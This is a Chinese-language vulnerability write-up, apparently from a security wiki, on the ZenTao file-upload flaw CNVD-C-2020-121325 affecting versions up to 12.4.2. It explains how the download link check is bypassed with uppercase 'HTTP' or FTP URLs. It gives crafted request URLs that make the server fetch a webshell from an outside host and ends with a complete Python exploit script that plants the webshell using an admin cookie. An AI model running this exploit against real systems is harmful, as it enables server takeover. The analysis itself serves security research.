menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 禅道CMS chevron_right 禅道 小于12.4.2 文件上传漏洞 CNVD-C-2020-121325.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    禅道 小于12.4.2 文件上传漏洞 CNVD-C-2020-121325.md
    7.84 KB / 2021-04-15 12:15:19
        # 禅道 小于12.4.2 文件上传漏洞 CNVD-C-2020-121325
    
    ## 漏洞描述
    
    百度云安全团队监测到禅道官方发布了文件上传漏洞的风险通告,该漏洞编号为CNVD-C-2020-121325,漏洞影响禅道<=12.4.2版本。登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件,成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。我们对漏洞进行了复现和分析,由于需要登录后台才可以利用,实际风险相对较低,建议受影响的禅道用户尽快升级到最新版。
    
    ## 影响版本
    
    > [!NOTE]
    >
    > 禅道 <= 12.4.2版本
    
    ## 环境搭建
    
    百度下12.4.2的禅道环境按步骤安装下载即可
    
    [禅道官方网站](https://www.zentao.net/)
    
    ![](image/zentao-1.png)
    
    调用接口查询版本信息
    
    ```
    http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig
    ```
    
    ![](image/zentao-14.png)
    
    
    
    ## 漏洞复现
    
    > [!NOTE]
    >
    > 漏洞触发需要后台权限
    
    
    
    根据漏洞描述查看修改后的代码片段
    
    ![](image/zentao-2.png)
    
    **修改前**
    
    ```php
    public function downloadZipPackage($version, $link)
    {
        $decodeLink = helper::safe64Decode($link);
        if(preg_match('/^https?\:\/\//', $decodeLink)) return false;
    
        return parent::downloadZipPackage($version, $link);
    }
    ```
    
    **修改后**
    
    ```php
    public function downloadZipPackage($version, $link)
    {
        $decodeLink = helper::safe64Decode($link);
        if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;
    
        $file      = basename($link);
        $extension = substr($file, strrpos($file, '.') + 1);
        if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;
    
        return parent::downloadZipPackage($version, $link);
    }
    ```
    
    这里传入的参数为版本和link地址,然后base64解码,正则判断是否为**http**或**https**协议,这里的正则过滤并不完整,所以可以绕过用于下载恶意文件
    
    ![](image/zentao-4.png)
    
    可以大写**http**或请求**FTP**来绕过正则
    
    ![](image/zentao-6.png)
    
    ![](image/zentao-5.png)
    
    跟进一下**parent::downloadZipPackage**这个方法,跟着来到**zentao\module\client\model.php**文件中
    
    ![](image/zentao-3.png)
    
    ```php
    public function downloadZipPackage($version, $link)
        {
            ignore_user_abort(true);
            set_time_limit(0);
            if(empty($version) || empty($link)) return false;
            $dir  = "data/client/" . $version . '/';
            $link = helper::safe64Decode($link);
            $file = basename($link);
            if(!is_dir($this->app->wwwRoot . $dir))
            {
                mkdir($this->app->wwwRoot . $dir, 0755, true);
            }
            if(!is_dir($this->app->wwwRoot . $dir)) return false;
            if(file_exists($this->app->wwwRoot . $dir . $file))
            {
                return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
            }
            ob_clean();
            ob_end_flush();
    
            $local  = fopen($this->app->wwwRoot . $dir . $file, 'w');
            $remote = fopen($link, 'rb');
            if($remote === false) return false;
            while(!feof($remote))
            {
                $buffer = fread($remote, 4096);
                fwrite($local, $buffer);
            }
            fclose($local);
            fclose($remote);
            return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
        }
    ```
    
    可以简单看到这里获取link传入的文件名,通过**fopen**打开该文件,写入禅道目录**www/data/client/version**中
    
    查看一下有没有调用这个方法的地方
    
    ![](image/zentao-7.png)
    
    找到了**download**方法调用了这个漏洞点,所以我们有两种下载恶意文件的方法
    
    ```
    http://xxx.xxx.xxx.xxx/www/client-download-[$version参数]-[base64加密后的恶意文件地址].html
    http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=[$version参数]&link=[base64加密后的恶意文件地址]
    ```
    
    首先先上传一个恶意文件,可以是FTP也可以是HTTP
    
    例如我上传的文件URL为**http://peiqi.tech/SHELL.php**
    
    ```
    http://peiqi.tech/SHELL.php
    |
    base64加密  HTTP://peiqi.tech/SHELL.php
    |
    SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
    ```
    
    请求地址则为
    
    ```
    http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
    ```
    
    ![](image/zentao-8.png)
    
    下载的目录地址为**zentaopms\www\data\client\1**
    
    > [!NOTE]
    >
    > 目录为version名称
    
    ![](image/zentao-9.png)
    
    成功上传webshell
    
    ![](image/zentao-10.png)
    
    ## 漏洞利用POC
    
    > [!NOTE]
    >
    > POC使用需要拥有后台Cookie
    
    ```python
    #!/usr/bin/python3
    #-*- coding:utf-8 -*-
    # author : PeiQi
    # from   : http://wiki.peiqi.tech
    
    import base64
    import requests
    import random
    import re
    import json
    import sys
    
    def title():
        print('+------------------------------------------')
        print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
        print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
        print('+  \033[34m公众号 : PeiQi文库                                                \033[0m')
        print('+  \033[34mVersion: zentao version <= 12.4.2                                 \033[0m')
        print('+  \033[36m使用格式: python3 CNVD-C-2020-121325.py                             \033[0m')
        print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
        print('+  \033[36mShell       >>> http://xxx.xxx.xxx.xxx/shell.php(恶意文件地址)       \033[0m')
        print('+  \033[36mZentaosid   >>> xxxxxxxxxxxxxx(cookie字段)                          \033[0m')
        print('+------------------------------------------')
    
    def POC_1(target_url):
        version_url = target_url + "/www/index.php?mode=getconfig"
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        }
        try:
            response = requests.get(url=version_url, timeout=20, headers=headers)
            version = json.loads(response.text)['version']
            print("\033[32m[o] 禅道版本为:{}\033[0m".format(version))
    
        except Exception as e:
            print("\033[31m[x] 获取版本失败 \033[0m", e)
    
    
    def POC_2(target_url, shell_url, zentaosid):
        options = shell_url.split("://")
        if options[0] == "http":
            shell_url = "HTTP://" + options[1]
        elif options[0] == "ftp":
            shell_url = "ftp://" + options[1]
        else:
            print("\033[31m[x] 请使用正确的请求地址 \033[0m")
            sys.exit(0)
    
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
            "Cookie":"zentaosid={}".format(zentaosid)
        }
    
        shell_url_base = str((base64.b64encode(shell_url.encode('utf-8'))),'utf-8')
        vuln_url = target_url + "/www/index.php?m=client&f=download&version=test&link={}".format(shell_url_base)
        print("\033[32m[o] 请求漏洞url:{}\033[0m".format(vuln_url))
    
        try:
            response = requests.get(url=vuln_url, timeout=20, headers=headers)
            if "保存成功" in response.text:
                print("\033[32m[o] 成功写入Webshell,URL地址为:{}/www/data/client/test/Webshell_name.php\033[0m".format(target_url))
            else:
                print("\033[31m[x] 恶意文件下载失败 \033[0m")
        except:
            print("\033[31m[x] 恶意文件下载失败 \033[0m")
    
    
    
    if __name__ == '__main__':
        title()
        target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))
        shell_url  = str(input("\033[35mShell >>> \033[0m"))
        zentaosid  = str(input("\033[35mZentaosid >>> \033[0m"))
        POC_1(target_url)
        POC_2(target_url, shell_url, zentaosid)
    ```
    
    ![](image/zentao-11.png)
    
    links
    file_download